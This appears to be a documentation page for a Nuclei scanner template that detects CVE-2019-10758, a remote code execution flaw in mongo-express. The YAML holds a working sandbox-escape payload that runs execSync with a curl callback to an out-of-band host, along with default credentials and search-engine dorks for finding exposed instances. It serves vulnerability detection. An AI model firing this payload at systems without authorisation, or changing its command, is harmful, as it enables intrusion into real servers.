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mongo-express Remote Code Execution

ID: CVE-2019-10758

Severity: critical

Author: princechaddha

Tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.js

Description

Section titled “Description”

mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the toBSON method and misuse the vm dependency to perform exec commands in a non-safe environment.

YAML Source

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id: CVE-2019-10758


info:
  name: mongo-express Remote Code Execution
  author: princechaddha
  severity: critical
  description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Upgrade mongo-express to version 0.54.0 or higher.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10758
    - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
    - https://github.com/CLincat/vulcat
    - https://github.com/MelanyRoob/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2019-10758
    epss-score: 0.97459
    epss-percentile: 0.99955
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query:
      - http.title:"Mongo Express"
      - http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.js


http:
  - raw:
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzcw==
        Content-Type: application/x-www-form-urlencoded


        document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")


    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100952637f8988c6220145c23ac20bb39062f6e0f60f28c5adb2b9a306c8a30b2f00221009d6e6eee3bb07b8e41d0bac6231ddc8b03eda245e5ac65083a196a1e81210cc8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2019/CVE-2019-10758.yaml"

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